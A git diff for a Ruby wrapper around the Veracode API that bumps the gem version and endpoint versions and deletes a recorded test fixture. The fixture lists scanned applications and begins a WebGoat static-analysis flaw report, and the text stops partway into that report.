diff --git a/.gitignore b/.gitignore
index 670a04b..69581c5 100644
--- a/.gitignore
+++ b/.gitignore
@@ -4,3 +4,5 @@ Gemfile.lock
 pkg/*
 
 .DS_Store
+
+.env
diff --git a/Gemfile b/Gemfile
index 81f145e..14175a4 100644
--- a/Gemfile
+++ b/Gemfile
@@ -6,6 +6,8 @@ group :test do
   gem 'turn'
   gem 'minitest'
   gem 'rake'
+  gem 'pry'
+  gem 'plymouth'
 end
 
 # Specify your gem's dependencies in veracode.gemspec
diff --git a/LICENSE b/LICENSE
index 15f2341..f7db04e 100644
--- a/LICENSE
+++ b/LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2012 Stephen Kapp
+Copyright (c) Stephen Kapp 2012-2015
 
 Licensed under the Apache License, Version 2.0 (the "License");
 you may not use this file except in compliance with the License.
diff --git a/README.md b/README.md
index 7b98449..43435a2 100644
--- a/README.md
+++ b/README.md
@@ -6,7 +6,9 @@ Ruby Wrapper for the Veracode API
 About
 -----
 
-This Gem puts a wrapper around the Veracode API to allow access to API functionality to view reports, perform uploads and administer accounts.
+This Gem puts a wrapper around the Veracode API to allow access to API functionality to view reports, perform uploads and administer accounts. 
+
+This gem is not used as part of packaging for a Veracode scan of a Ruby on Rails application.
 
 How to use it
 -------------
@@ -33,4 +35,4 @@ Found an issue, please report it on Github
 
 	https://github.com/mort666/veracode-api
 	
-Copyright (c) 2012 Stephen Kapp, released under the Apache License, Version 2.0
\ No newline at end of file
+Copyright (c) 2012-2015 Stephen Kapp, released under the Apache License, Version 2.0
\ No newline at end of file
diff --git a/lib/veracode/results.rb b/lib/veracode/results.rb
index db9dbef..f31538f 100644
--- a/lib/veracode/results.rb
+++ b/lib/veracode/results.rb
@@ -9,38 +9,38 @@
 module Veracode
   module API
     class Results < Veracode::API::Base
-      GET_APP_BUILDS_URI = "/api/2.0/getappbuilds.do"
-    	DETAILED_REPORT_URI = "/api/2.0/detailedreport.do"
-    	DETAILED_REPORT_PDF_URI = "/api/2.0/detailedreportpdf.do"
-    	GET_CALL_STACKS_URI = "/api/2.0/getcallstacks.do"
-    	SUMMARY_REPORT_URI = "/api/2.0/summaryreport.do"
-    	SUMMARY_REPORT_PDF_URI = "/api/2.0/summaryreportpdf.do"
-    	THIRD_PARTY_REPORT_PDF_URI = "/api/2.0/thirdpartyreportpdf.do"
-  	  
+      GET_APP_BUILDS_URI = "/api/4.0/getappbuilds.do"
+    	DETAILED_REPORT_URI = "/api/3.0/detailedreport.do"
+    	DETAILED_REPORT_PDF_URI = "/api/3.0/detailedreportpdf.do"
+    	GET_CALL_STACKS_URI = "/api/3.0/getcallstacks.do"
+    	SUMMARY_REPORT_URI = "/api/3.0/summaryreport.do"
+    	SUMMARY_REPORT_PDF_URI = "/api/3.0/summaryreportpdf.do"
+    	THIRD_PARTY_REPORT_PDF_URI = "/api/3.0/thirdpartyreportpdf.do"
+
   	  def get_callstacks(build_id, flaw_id)
   	    xml = getXML(GET_CALL_STACKS_URI + "?build_id=" + build_id + "&flaw_id=" + flaw_id)
     	  case xml.code
   	    when 200
   	      clean_xml = xml.body.strip
-  	      parsed = Veracode::Parser.parse(clean_xml) 
+  	      parsed = Veracode::Parser.parse(clean_xml)
   	      builds = Veracode::Result::CallStacks.new(parsed)
         else
           xml.error!
         end
   	  end
- 	
+
     	def get_application_builds
     	  xml = getXML(GET_APP_BUILDS_URI)
     	  case xml.code
   	    when 200
   	      clean_xml = xml.body.strip
-  	      parsed = Veracode::Parser.parse(clean_xml) 
+  	      parsed = Veracode::Parser.parse(clean_xml)
   	      builds = Veracode::Result::Builds::Applications.new(parsed)
         else
           xml.error!
         end
     	end
-  	
+
     	def get_summary_report(build_id)
     	  xml = getXML(SUMMARY_REPORT_URI + "?build_id=" + build_id)
     	  case xml.code
@@ -52,20 +52,20 @@ def get_summary_report(build_id)
           xml.error!
         end
     	end
-  	
+
     	def get_detailed_report(build_id)
     	  xml = getXML(DETAILED_REPORT_URI + "?build_id=" + build_id)
     	  case xml.code
-  	    when 200  
+  	    when 200
   	      xmlbody = xml.body
     	    clean_xml = xmlbody.strip
-  	      parsed = Veracode::Parser.parse(clean_xml)          
+  	      parsed = Veracode::Parser.parse(clean_xml)
 
     	    report = Veracode::Result::DetailedReport.new(parsed.detailedreport)
     	  else
           xml.error!
         end
     	end
-    end 
+    end
   end
-end
\ No newline at end of file
+end
diff --git a/lib/veracode/version.rb b/lib/veracode/version.rb
index d9c2daa..c94849a 100644
--- a/lib/veracode/version.rb
+++ b/lib/veracode/version.rb
@@ -1,5 +1,5 @@
 module Veracode
   module API
-    VERSION = "0.4.1"
+    VERSION = "0.5.0"
   end
 end
diff --git a/spec/fixtures/veracode_cassettes/base.yml b/spec/fixtures/veracode_cassettes/base.yml
deleted file mode 100644
index 9cd52a6..0000000
--- a/spec/fixtures/veracode_cassettes/base.yml
+++ /dev/null
@@ -1,7319 +0,0 @@
----
-http_interactions:
-- request:
-    method: get
-    uri: https://test:test@analysiscenter.veracode.com/api/2.0/getappbuilds.do
-    body:
-      encoding: US-ASCII
-      string: ''
-    headers: {}
-  response:
-    status:
-      code: 200
-      message: OK
-    headers:
-      Pragma:
-      - ''
-      Cache-Control:
-      - no-store private must-revalidate
-      Expires:
-      - Thu, 01 Jan 1970 00:00:00 GMT
-      Set-Cookie:
-      - JSESSIONID=3D5DCB778D6AB2230F9E2820D7CED0BC; Path=/; Secure
-      - JSESSIONID=FF2D702E4595FCAA92D4836E7EFF91E1; Path=/; Secure
-      Content-Type:
-      - text/xml
-      Transfer-Encoding:
-      - chunked
-      Date:
-      - Wed, 06 Jun 2012 16:19:22 GMT
-      Server:
-      - Apache
-    body:
-      encoding: US-ASCII
-      string: ! '<?xml version="1.0" encoding="UTF-8"?>
-
-
-        <applicationbuilds xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds"
-        xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds
-        https://analysiscenter.veracode.com/resource/2.0/applicationbuilds.xsd" account_id="15834">
-
-        <application app_name="Metamail" app_id="32335" industry_vertical="Other"
-        assurance_level="Medium" business_criticality="Medium" origin="Internally
-        Developed" modified_date="2012-03-01T09:25:34-05:00" cots="false" business_unit="Not
-        Specified" tags="">
-
-        <customfield name="Custom 1" value=""/>
-
-        <customfield name="Custom 2" value=""/>
-
-        <customfield name="Custom 3" value=""/>
-
-        <customfield name="Custom 4" value=""/>
-
-        <customfield name="Custom 5" value=""/>
-
-        <build version="2.7" build_id="44902" submitter="Veracode" platform="Solaris"
-        lifecycle_stage="Maintenance (only bug fixes)" results_ready="true" policy_name="Veracode
-        Transitional Very High" policy_version="1" policy_compliance_status="Did Not
-        Pass" rules_status="Did Not Pass" grace_period_expired="false" scan_overdue="false">
-
-        <analysis_unit analysis_type="Static" published_date="2012-03-01T09:25:25-05:00"
-        published_date_sec="1330611925" status="Results Ready"/>
-
-        </build>
-
-        </application>
-
-        <application app_name="Test Application" app_id="36862" industry_vertical="Security
-        Products and Services" assurance_level="Medium" business_criticality="Medium"
-        origin="Not Specified" modified_date="2012-06-06T05:57:31-04:00" cots="false"
-        business_unit="Not Specified" tags="">
-
-        <customfield name="Custom 1" value=""/>
-
-        <customfield name="Custom 2" value=""/>
-
-        <customfield name="Custom 3" value=""/>
-
-        <customfield name="Custom 4" value=""/>
-
-        <customfield name="Custom 5" value=""/>
-
-        <build version="Build 1" build_id="54431" submitter="Veracode" platform="Not
-        Specified" lifecycle_stage="Not Specified" results_ready="false" policy_name="Veracode
-        Recommended Medium" policy_version="1" policy_compliance_status="Not Assessed"
-        rules_status="Calculating..." grace_period_expired="false" scan_overdue="false"/>
-
-        </application>
-
-        <application app_name="TEst C App" app_id="32491" industry_vertical="Security
-        Products and Services" assurance_level="Medium" business_criticality="Medium"
-        origin="Not Specified" modified_date="2012-03-02T13:12:55-05:00" cots="false"
-        business_unit="Not Specified" tags="">
-
-        <customfield name="Custom 1" value=""/>
-
-        <customfield name="Custom 2" value=""/>
-
-        <customfield name="Custom 3" value=""/>
-
-        <customfield name="Custom 4" value=""/>
-
-        <customfield name="Custom 5" value=""/>
-
-        <build version="First Build" build_id="45241" submitter="Stephen Kapp" platform="Linux"
-        lifecycle_stage="Internal or Alpha Testing" results_ready="true" policy_name="Veracode
-        Recommended Medium" policy_version="1" policy_compliance_status="Did Not Pass"
-        rules_status="Did Not Pass" grace_period_expired="true" scan_overdue="true">
-
-        <analysis_unit analysis_type="Static" published_date="2012-03-02T13:12:51-05:00"
-        published_date_sec="1330711971" status="Results Ready"/>
-
-        </build>
-
-        </application>
-
-        <application app_name="Apache" app_id="32346" industry_vertical="Other" assurance_level="High"
-        business_criticality="High" origin="Open Source" modified_date="2012-03-01T09:28:29-05:00"
-        cots="false" business_unit="Not Specified" tags="">
-
-        <customfield name="Custom 1" value=""/>
-
-        <customfield name="Custom 2" value=""/>
-
-        <customfield name="Custom 3" value=""/>
-
-        <customfield name="Custom 4" value=""/>
-
-        <customfield name="Custom 5" value=""/>
-
-        <build version="2.2.8" build_id="44918" submitter="Veracode" platform="Solaris"
-        lifecycle_stage="Deployed (In production and actively developed)" results_ready="true"
-        policy_name="Veracode Transitional Very High" policy_version="1" policy_compliance_status="Pass"
-        rules_status="Pass" grace_period_expired="false" scan_overdue="false">
-
-        <analysis_unit analysis_type="Static" published_date="2012-03-01T09:28:27-05:00"
-        published_date_sec="1330612107" status="Results Ready"/>
-
-        </build>
-
-        </application>
-
-        <application app_name="PHP Vulnerable Web App (Test)" app_id="32363" industry_vertical="Security
-        Products and Services" assurance_level="Medium" business_criticality="Medium"
-        origin="Not Specified" modified_date="2012-03-08T13:42:21-05:00" cots="false"
-        business_unit="Web Frontend" tags="">
-
-        <customfield name="Custom 1" value=""/>
-
-        <customfield name="Custom 2" value=""/>
-
-        <customfield name="Custom 3" value=""/>
-
-        <customfield name="Custom 4" value=""/>
-
-        <customfield name="Custom 5" value=""/>
-
-        <build version="First Build" build_id="44942" submitter="Stephen Kapp" platform="PHP"
-        lifecycle_stage="Deployed (In production and actively developed)" results_ready="true"
-        policy_name="Veracode Recommended Medium" policy_version="1" policy_compliance_status="Did
-        Not Pass" rules_status="Did Not Pass" grace_period_expired="true" scan_overdue="true">
-
-        <analysis_unit analysis_type="Static" published_date="2012-03-02T10:45:56-05:00"
-        published_date_sec="1330703156" status="Results Ready"/>
-
-        </build>
-
-        </application>
-
-        <application app_name="phpBB" app_id="32341" industry_vertical="Education"
-        assurance_level="High" business_criticality="High" origin="Open Source" modified_date="2012-03-01T09:26:45-05:00"
-        cots="false" business_unit="Not Specified" tags="">
-
-        <customfield name="Custom 1" value=""/>
-
-        <customfield name="Custom 2" value=""/>
-
-        <customfield name="Custom 3" value=""/>
-
-        <customfield name="Custom 4" value=""/>
-
-        <customfield name="Custom 5" value=""/>
-
-        <build version="1" build_id="44910" submitter="Veracode" platform="PHP" lifecycle_stage="External
-        or Beta Testing" results_ready="true" policy_name="Veracode Transitional Very
-        High" policy_version="1" policy_compliance_status="Did Not Pass" rules_status="Did
-        Not Pass" grace_period_expired="false" scan_overdue="false">
-
-        <analysis_unit analysis_type="Static" published_date="2012-03-01T09:26:43-05:00"
-        published_date_sec="1330612003" status="Results Ready"/>
-
-        </build>
-
-        </application>
-
-        <application app_name="Roller" app_id="32337" industry_vertical="Other" assurance_level="High"
-        business_criticality="High" origin="Internally Developed" modified_date="2012-03-01T09:25:55-05:00"
-        cots="false" business_unit="Not Specified" tags="">
-
-        <customfield name="Custom 1" value=""/>
-
-        <customfield name="Custom 2" value=""/>
-
-        <customfield name="Custom 3" value=""/>
-
-        <customfield name="Custom 4" value=""/>
-
-        <customfield name="Custom 5" value=""/>
-
-        <build version="3.0" build_id="44904" submitter="Veracode" platform="Java"
-        lifecycle_stage="Deployed (In production and actively developed)" results_ready="true"
-        policy_name="Veracode Transitional Very High" policy_version="1" policy_compliance_status="Did
-        Not Pass" rules_status="Did Not Pass" grace_period_expired="false" scan_overdue="false">
-
-        <analysis_unit analysis_type="Static" published_date="2012-03-01T09:25:48-05:00"
-        published_date_sec="1330611948" status="Results Ready"/>
-
-        </build>
-
-        </application>
-
-        <application app_name="Lunar Lander" app_id="32342" industry_vertical="Media
-        &amp; Entertainment" assurance_level="High" business_criticality="High" origin="Purchased
-        Application" modified_date="2012-03-01T09:26:55-05:00" cots="false" business_unit="Not
-        Specified" tags="">
-
-        <customfield name="Custom 1" value=""/>
-
-        <customfield name="Custom 2" value=""/>
-
-        <customfield name="Custom 3" value=""/>
-
-        <customfield name="Custom 4" value=""/>
-
-        <customfield name="Custom 5" value=""/>
-
-        <build version="1.0.0" build_id="44913" submitter="Veracode" platform="Android"
-        lifecycle_stage="Deployed (In production and actively developed)" results_ready="true"
-        policy_name="Veracode Transitional Very High" policy_version="1" policy_compliance_status="Pass"
-        rules_status="Pass" grace_period_expired="false" scan_overdue="false">
-
-        <analysis_unit analysis_type="Static" published_date="2012-03-01T09:26:46-05:00"
-        published_date_sec="1330612006" status="Results Ready"/>
-
-        </build>
-
-        </application>
-
-        <application app_name="PHP Vulnerable Web App (Test2)" app_id="32721" industry_vertical="Security
-        Products and Services" assurance_level="Medium" business_criticality="Medium"
-        origin="Not Specified" modified_date="2012-03-08T13:20:43-05:00" cots="false"
-        business_unit="Not Specified" tags="">
-
-        <customfield name="Custom 1" value=""/>
-
-        <customfield name="Custom 2" value=""/>
-
-        <customfield name="Custom 3" value=""/>
-
-        <customfield name="Custom 4" value=""/>
-
-        <customfield name="Custom 5" value=""/>
-
-        <build version="First Build" build_id="45742" submitter="Veracode" platform="PHP"
-        lifecycle_stage="Deployed (In production and actively developed)" results_ready="false"
-        policy_name="Veracode Recommended Medium" policy_version="1" policy_compliance_status="Not
-        Assessed" rules_status="Not Assessed" grace_period_expired="false" scan_overdue="true">
-
-        <analysis_unit analysis_type="Static" status="Pre-Scan Success"/>
-
-        </build>
-
-        </application>
-
-        <application app_name="Ajax-Login" app_id="33715" industry_vertical="Security
-        Products and Services" assurance_level="Medium" business_criticality="Medium"
-        origin="Not Specified" modified_date="2012-03-28T08:17:25-04:00" cots="false"
-        business_unit="Not Specified" tags="">
-
-        <customfield name="Custom 1" value=""/>
-
-        <customfield name="Custom 2" value=""/>
-
-        <customfield name="Custom 3" value=""/>
-
-        <customfield name="Custom 4" value=""/>
-
-        <customfield name="Custom 5" value=""/>
-
-        <build version="First build" build_id="47652" submitter="Veracode" platform="Java"
-        lifecycle_stage="External or Beta Testing" results_ready="true" policy_name="Veracode
-        Recommended Medium" policy_version="1" policy_compliance_status="Pass" rules_status="Pass"
-        grace_period_expired="false" scan_overdue="false">
-
-        <analysis_unit analysis_type="Static" published_date="2012-03-28T08:17:17-04:00"
-        published_date_sec="1332937037" status="Results Ready"/>
-
-        </build>
-
-        </application>
-
-        <application app_name="WebGoat" app_id="32338" industry_vertical="Other" assurance_level="Very
-        High" business_criticality="Very High" origin="Open Source" modified_date="2012-03-01T10:03:59-05:00"
-        cots="false" business_unit="Not Specified" tags="">
-
-        <customfield name="Custom 1" value=""/>
-
-        <customfield name="Custom 2" value=""/>
-
-        <customfield name="Custom 3" value=""/>
-
-        <customfield name="Custom 4" value=""/>
-
-        <customfield name="Custom 5" value=""/>
-
-        <build version="5.0" build_id="44905" submitter="Veracode" platform="Java"
-        lifecycle_stage="External or Beta Testing" results_ready="true" policy_name="Veracode
-        Transitional Very High" policy_version="1" policy_compliance_status="Did Not
-        Pass" rules_status="Did Not Pass" grace_period_expired="false" scan_overdue="false">
-
-        <analysis_unit analysis_type="Static" published_date="2012-03-01T09:26:18-05:00"
-        published_date_sec="1330611978" status="Results Ready"/>
-
-        <analysis_unit analysis_type="Dynamic" published_date="2012-03-01T10:03:50-05:00"
-        published_date_sec="1330614230" status="Results Ready"/>
-
-        <analysis_unit analysis_type="Manual" published_date="2012-03-01T09:59:14-05:00"
-        published_date_sec="1330613954" status="Results Ready"/>
-
-        </build>
-
-        </application>
-
-        <application app_name="Open Web Analytics" app_id="35247" industry_vertical="Security
-        Products and Services" assurance_level="High" business_criticality="High"
-        origin="Not Specified" modified_date="2012-05-09T09:09:11-04:00" cots="false"
-        business_unit="Web Frontend" tags="">
-
-        <customfield name="Custom 1" value=""/>
-
-        <customfield name="Custom 2" value=""/>
-
-        <customfield name="Custom 3" value=""/>
-
-        <customfield name="Custom 4" value=""/>
-
-        <customfield name="Custom 5" value=""/>
-
-        <build version="1.5.3" build_id="50892" submitter="Stephen Kapp" platform="PHP"
-        lifecycle_stage="Deployed (In production and actively developed)" results_ready="false"
-        policy_name="Veracode Recommended High" policy_version="1" policy_compliance_status="Not
-        Assessed" rules_status="Not Assessed" grace_period_expired="false" scan_overdue="true">
-
-        <analysis_unit analysis_type="Static" status="Pending Internal Review"/>
-
-        </build>
-
-        </application>
-
-        <application app_name="iGoat" app_id="33136" industry_vertical="Security Products
-        and Services" assurance_level="Medium" business_criticality="Medium" origin="Not
-        Specified" modified_date="2012-03-30T06:52:44-04:00" cots="false" business_unit="Not
-        Specified" tags="">
-
-        <customfield name="Custom 1" value=""/>
-
-        <customfield name="Custom 2" value=""/>
-
-        <customfield name="Custom 3" value=""/>
-
-        <customfield name="Custom 4" value=""/>
-
-        <customfield name="Custom 5" value=""/>
-
-        <build version="First Build" build_id="46433" submitter="Veracode" platform="iOS"
-        lifecycle_stage="External or Beta Testing" results_ready="true" policy_name="Veracode
-        Recommended Medium" policy_version="1" policy_compliance_status="Pass" rules_status="Pass"
-        grace_period_expired="false" scan_overdue="false">
-
-        <analysis_unit analysis_type="Static" published_date="2012-03-30T06:52:35-04:00"
-        published_date_sec="1333104755" status="Results Ready"/>
-
-        </build>
-
-        </application>
-
-        <application app_name="HSQLdb" app_id="32345" industry_vertical="Other" assurance_level="High"
-        business_criticality="High" origin="Open Source" modified_date="2012-03-01T09:27:58-05:00"
-        cots="false" business_unit="Not Specified" tags="">
-
-        <customfield name="Custom 1" value=""/>
-
-        <customfield name="Custom 2" value=""/>
-
-        <customfield name="Custom 3" value=""/>
-
-        <customfield name="Custom 4" value=""/>
-
-        <customfield name="Custom 5" value=""/>
-
-        <build version="1.8.0.337" build_id="44917" submitter="Veracode" platform="Java"
-        lifecycle_stage="Deployed (In production and actively developed)" results_ready="true"
-        policy_name="Veracode Transitional Very High" policy_version="1" policy_compliance_status="Did
-        Not Pass" rules_status="Did Not Pass" grace_period_expired="false" scan_overdue="false">
-
-        <analysis_unit analysis_type="Static" published_date="2012-03-01T09:27:48-05:00"
-        published_date_sec="1330612068" status="Results Ready"/>
-
-        </build>
-
-        </application>
-
-        <application app_name="midpssh-BB" app_id="32339" industry_vertical="Other"
-        assurance_level="High" business_criticality="High" origin="Open Source" modified_date="2012-03-01T09:26:25-05:00"
-        cots="false" business_unit="Not Specified" tags="">
-
-        <customfield name="Custom 1" value=""/>
-
-        <customfield name="Custom 2" value=""/>
-
-        <customfield name="Custom 3" value=""/>
-
-        <customfield name="Custom 4" value=""/>
-
-        <customfield name="Custom 5" value=""/>
-
-        <build version="1.0" build_id="44908" submitter="Veracode" platform="J2ME"
-        lifecycle_stage="Deployed (In production and actively developed)" results_ready="true"
-        policy_name="Veracode Transitional Very High" policy_version="1" policy_compliance_status="Pass"
-        rules_status="Pass" grace_period_expired="false" scan_overdue="false">
-
-        <analysis_unit analysis_type="Static" published_date="2012-03-01T09:26:21-05:00"
-        published_date_sec="1330611981" status="Results Ready"/>
-
-        </build>
-
-        </application>
-
-        <application app_name="Hadoop" app_id="32333" industry_vertical="Other" assurance_level="High"
-        business_criticality="High" origin="Open Source" modified_date="2012-03-01T09:25:14-05:00"
-        cots="false" business_unit="Not Specified" tags="">
-
-        <customfield name="Custom 1" value=""/>
-
-        <customfield name="Custom 2" value=""/>
-
-        <customfield name="Custom 3" value=""/>
-
-        <customfield name="Custom 4" value=""/>
-
-        <customfield name="Custom 5" value=""/>
-
-        <build version="0.9.1.0" build_id="44900" submitter="Veracode" platform="Java"
-        lifecycle_stage="Deployed (In production and actively developed)" results_ready="true"
-        policy_name="Veracode Transitional Very High" policy_version="1" policy_compliance_status="Did
-        Not Pass" rules_status="Did Not Pass" grace_period_expired="false" scan_overdue="false">
-
-        <analysis_unit analysis_type="Static" published_date="2012-03-01T09:25:05-05:00"
-        published_date_sec="1330611905" status="Results Ready"/>
-
-        </build>
-
-        </application>
-
-        <application app_name="Open SSH" app_id="32336" industry_vertical="Other"
-        assurance_level="High" business_criticality="High" origin="Open Source" modified_date="2012-03-01T09:25:44-05:00"
-        cots="false" business_unit="Not Specified" tags="">
-
-        <customfield name="Custom 1" value=""/>
-
-        <customfield name="Custom 2" value=""/>
-
-        <customfield name="Custom 3" value=""/>
-
-        <customfield name="Custom 4" value=""/>
-
-        <customfield name="Custom 5" value=""/>
-
-        <build version="3.8.1p1" build_id="44903" submitter="Veracode" platform="Solaris"
-        lifecycle_stage="Deployed (In production and actively developed)" results_ready="true"
-        policy_name="Veracode Transitional Very High" policy_version="1" policy_compliance_status="Pass"
-        rules_status="Pass" grace_period_expired="false" scan_overdue="false">
-
-        <analysis_unit analysis_type="Static" published_date="2012-03-01T09:25:39-05:00"
-        published_date_sec="1330611939" status="Results Ready"/>
-
-        </build>
-
-        </application>
-
-        <application app_name="Galleon" app_id="32347" industry_vertical="Manufacturing"
-        assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2012-03-01T09:28:39-05:00"
-        cots="false" business_unit="Not Specified" tags="">
-
-        <customfield name="Custom 1" value=""/>
-
-        <customfield name="Custom 2" value=""/>
-
-        <customfield name="Custom 3" value=""/>
-
-        <customfield name="Custom 4" value=""/>
-
-        <customfield name="Custom 5" value=""/>
-
-        <build version="1.0.0" build_id="44919" submitter="Veracode" platform="ColdFusion"
-        lifecycle_stage="Deployed (In production and actively developed)" results_ready="true"
-        policy_name="Veracode Transitional Very High" policy_version="1" policy_compliance_status="Did
-        Not Pass" rules_status="Did Not Pass" grace_period_expired="false" scan_overdue="false">
-
-        <analysis_unit analysis_type="Static" published_date="2012-03-01T09:28:32-05:00"
-        published_date_sec="1330612112" status="Results Ready"/>
-
-        </build>
-
-        </application>
-
-        <application app_name="Test C App Preflight" app_id="32503" industry_vertical="Security
-        Products and Services" assurance_level="Medium" business_criticality="Medium"
-        origin="Not Specified" modified_date="2012-03-02T13:41:13-05:00" cots="false"
-        business_unit="Not Specified" tags="">
-
-        <customfield name="Custom 1" value=""/>
-
-        <customfield name="Custom 2" value=""/>
-
-        <customfield name="Custom 3" value=""/>
-
-        <customfield name="Custom 4" value=""/>
-
-        <customfield name="Custom 5" value=""/>
-
-        <build version="Test Build" build_id="45255" submitter="Stephen Kapp" platform="Linux"
-        lifecycle_stage="Internal or Alpha Testing" results_ready="false" policy_name="Veracode
-        Recommended Medium" policy_version="1" policy_compliance_status="Did Not Pass"
-        rules_status="Not Assessed" grace_period_expired="false" scan_overdue="true">
-
-        <analysis_unit analysis_type="Static" status="Pending Internal Review"/>
-
-        </build>
-
-        </application>
-
-        <application app_name="Test Application 3" app_id="36863" industry_vertical="Security
-        Products and Services" assurance_level="Medium" business_criticality="Medium"
-        origin="Not Specified" modified_date="2012-06-06T06:10:11-04:00" cots="false"
-        business_unit="Not Specified" tags="">
-
-        <customfield name="Custom 1" value=""/>
-
-        <customfield name="Custom 2" value=""/>
-
-        <customfield name="Custom 3" value=""/>
-
-        <customfield name="Custom 4" value=""/>
-
-        <customfield name="Custom 5" value=""/>
-
-        <build version="Build 1" build_id="54432" submitter="Veracode" platform="Not
-        Specified" lifecycle_stage="Not Specified" results_ready="false" policy_name="Veracode
-        Recommended Medium" policy_version="1" policy_compliance_status="Not Assessed"
-        rules_status="Calculating..." grace_period_expired="false" scan_overdue="false">
-
-        <analysis_unit analysis_type="Static" status="Pre-Scan Success"/>
-
-        </build>
-
-        </application>
-
-        <application app_name="iOS Traveler" app_id="32343" industry_vertical="Business
-        Services" assurance_level="High" business_criticality="High" origin="Contractor"
-        modified_date="2012-03-01T09:27:27-05:00" cots="false" business_unit="Not
-        Specified" tags="">
-
-        <customfield name="Custom 1" value=""/>
-
-        <customfield name="Custom 2" value=""/>
-
-        <customfield name="Custom 3" value=""/>
-
-        <customfield name="Custom 4" value=""/>
-
-        <customfield name="Custom 5" value=""/>
-
-        <build version="1.0.20111103" build_id="44914" submitter="Veracode" platform="iOS"
-        lifecycle_stage="Deployed (In production and actively developed)" results_ready="true"
-        policy_name="Veracode Transitional Very High" policy_version="1" policy_compliance_status="Did
-        Not Pass" rules_status="Did Not Pass" grace_period_expired="false" scan_overdue="false">
-
-        <analysis_unit analysis_type="Static" published_date="2012-03-01T09:27:22-05:00"
-        published_date_sec="1330612042" status="Results Ready"/>
-
-        </build>
-
-        </application>
-
-        <application app_name="BlogEngine.NET" app_id="32344" industry_vertical="Other"
-        assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2012-03-01T09:27:48-05:00"
-        cots="false" business_unit="Not Specified" tags="">
-
-        <customfield name="Custom 1" value=""/>
-
-        <customfield name="Custom 2" value=""/>
-
-        <customfield name="Custom 3" value=""/>
-
-        <customfield name="Custom 4" value=""/>
-
-        <customfield name="Custom 5" value=""/>
-
-        <build version="1.3.1.0" build_id="44915" submitter="Veracode" platform="Windows"
-        lifecycle_stage="External or Beta Testing" results_ready="true" policy_name="Veracode
-        Transitional Very High" policy_version="1" policy_compliance_status="Did Not
-        Pass" rules_status="Did Not Pass" grace_period_expired="false" scan_overdue="false">
-
-        <analysis_unit analysis_type="Static" published_date="2012-03-01T09:27:40-05:00"
-        published_date_sec="1330612060" status="Results Ready"/>
-
-        </build>
-
-        </application>
-
-        </applicationbuilds>
-
-'
-    http_version: 
-  recorded_at: Wed, 06 Jun 2012 16:19:23 GMT
-- request:
-    method: get
-    uri: https://test:test@analysiscenter.veracode.com/api/2.0/detailedreport.do?build_id=44905
-    body:
-      encoding: US-ASCII
-      string: ''
-    headers: {}
-  response:
-    status:
-      code: 200
-      message: OK
-    headers:
-      Pragma:
-      - ''
-      Cache-Control:
-      - no-store private must-revalidate
-      Expires:
-      - Thu, 01 Jan 1970 00:00:00 GMT
-      Set-Cookie:
-      - JSESSIONID=5C0950F82CC347C814ADA2FE387C601D; Path=/; Secure
-      - JSESSIONID=CA05907E4DBAD45302B6CF6F4CA86338; Path=/; Secure
-      Content-Type:
-      - text/xml
-      Transfer-Encoding:
-      - chunked
-      Date:
-      - Wed, 06 Jun 2012 16:25:25 GMT
-      Server:
-      - Apache
-    body:
-      encoding: US-ASCII
-      string: ! "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
-        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
-        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.1\"
-        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
-        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
-        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2012-06-06
-        16:25:25 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
-        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
-        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Veracode
-        Transitional Very High\" policy_version=\"1\" policy_compliance_status=\"Did
-        Not Pass\" policy_rules_status=\"Did Not Pass\" grace_period_expired=\"true\"
-        scan_overdue=\"false\" any_type_scan_due=\"2012-03-01 15:03:50 UTC\" business_owner=\"\"
-        business_unit=\"Not Specified\" tags=\"\">\n<static-analysis rating=\"F\"
-        score=\"59\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
-        14:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module name=\"WebGoat-5.0-with-jsp.war\"
-        compiler=\"JAVAC_6\" os=\"Java J2SE 6\" architecture=\"JVM\" score=\"59\"
-        numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"14\" numflawssev3=\"136\"
-        numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
-        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
-        15:03:50 UTC\">\n<modules>\n<module name=\"dynamic_analysis\" compiler=\"Unknown\"
-        os=\"\" architecture=\"\" score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\"
-        numflawssev2=\"0\" numflawssev3=\"10\" numflawssev4=\"1\" numflawssev5=\"1\"
-        target_url=\"http://10.10.31.202:8080/webgoat\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis
-        rating=\"D\" score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
-        14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module name=\"manual_analysis\"
-        compiler=\"Unknown\" os=\"\" architecture=\"\" score=\"81\" numflawssev0=\"0\"
-        numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\" numflawssev4=\"0\"
-        numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity level=\"5\">\n<category
-        categoryid=\"1\" categoryname=\"Directory Traversal\" pcirelated=\"true\">\n<desc>\n<para
-        text=\"Allowing user input to control paths used in filesystem operations
-        may enable an attacker to access or modify otherwise protected system resources
-        that would normally be inaccessible to end users.  In some cases, the user-provided
